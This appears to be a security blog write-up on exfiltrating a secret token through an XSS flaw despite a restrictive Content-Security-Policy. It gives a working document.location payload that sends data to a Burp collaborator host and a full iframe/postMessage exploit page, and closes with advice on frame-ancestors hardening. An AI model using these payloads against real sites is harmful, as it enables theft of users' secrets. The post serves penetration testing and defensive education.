Oftentimes, when exploiting Cross-Site Scripting (XSS) vulnerabilities, it is trivial to trigger an alert() popup on a page. However, practical exploitation is frequently thwarted by Content-Security-Policy (CSP) restrictions. In this article we want to take a look at a CSP configuration that prevents loading external resources (e.g., images, scripts, etc.) and evaluate how we may still be able to exfiltrate data from a vulnerable client through additional means.
This scenario has been created closely along the behavior of an actual client page and is based on the following setup:
- We positively identified an XSS vulnerability in the GET parameter "g"

- The vulnerable page returns the following CSP configuration and prevents loading of external resources thus blocking any data exfiltration:
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob: *.andresr.de;
- We want to exfiltrate the victim user's secret token stored in the <div> with the id "secret".
XSS Data Exfiltration Attempts
- When attempting to embed an image using the src attribute, we run into the restrictions of the CSP right away:

Quick win: Using document.location
After writing this article I noticed that a pretty easy way of exfiltrating the secret token exists by just abusing a document.location redirect and passing data to it in a GET parameter. The only thing that needs to be ensured is that the redirect is triggered once the page has fully loaded. Otherwise, the <div> tag with the secret token is not present yet and we run into the following error:

This can be resolved with a simple timeout via the JavaScript built-in setTimeout() callback mechanism:
http://app.local:8080/?g=<script>setTimeout(()=>{document.location='http://burp.oastify.com/?c='%2bdocument.getElementById('secret').textContent},1);</script>

However, this simple & elegant solution only occurred to me after exploring another way of exfiltrating data. If you are interested, I suggest to continue reading what other way of transporting the secret I found. After all, maybe the document.location technique fails (because you never know what oddities the JS framework has implemented in your target DOM ;) ) and then you have an alternative to try out:
The Creative Way: postMessage() to iframe Parent Window:
After finding the initial XSS vulnerability I thought about several ways of circumventing the CSP restrictions and immediately my journey through PortSwigger's XSS labs popped up in my mind along with their lab on postMessage() XSS:

I recalled that once you embed a site via an iframe, you can send postMessages to this embedded window context. This got me wondering, if you can embed the target page via an iframe and actually send a message back to the parent window somehow. Looking at Mozilla's JavaScript reference I found a suitable article right away:

This got me to create a sample exploit which includes the following steps:
- Create an empty iframe
- Register a handler for MessageEvent on the attacker's page and display any received messages in the console (for exemplary purposes)
- Load the vulnerable target page in the iframe (via a delayed iframe.src = ... call)
- Embed an XSS exploit into the "g" parameter that sends a postMessage() to window.parent. Like previously with the document.location approach, wait 1 second until the DOM is loaded and the secret token can be referenced (via setTimeout(...,1))
<html>
<body>
<iframe id="target" src=""></iframe>
<script>
window.addEventListener(
"message",
(event) => {
console.log(event);
},
false
);
var target = document.getElementById("target");
setTimeout(() => {
target.src =
"http://app.local:8080/?g=%3Cscript%3EsetTimeout(()=%3E{window.parent.postMessage(document.getElementById(%27secret%27).textContent,%22*%22)},1);%3C/script%3E";
}, 3);
</script>
</body>
</html>
Sample exploit.html that a victim needs to open
Looking at the exection of exploit.html in a browser we can see that we successfully exfiltrated the secret token using postMessage() from the target page (iframe child window) to the attacker-controlled page (parent window of the iframe):

Takeaway
Cross-Document Messaging has been introduced to the HTML standard rather late with a first draft being published for HTML5 in 2008 (see here). It is thus still worthwhile taking a deeper look at how this mechanism is implemented and how it may be (ab-)used by attackers seeking to manipulate HTML contexts.
Looking at the CSP bypass I demonstrated here, it becomes apparent that hardening your site using a restrictive frame-ancestors CSP directive may not just defend against Clickjacking attacks, but a whole dimension of iframe based exploitation techniques.

Circumventing CSP Restrictions to Exfil Data from an XSS Foothold
Exfiltrate sensitive data from XSS contexts via Cross-Document Messaging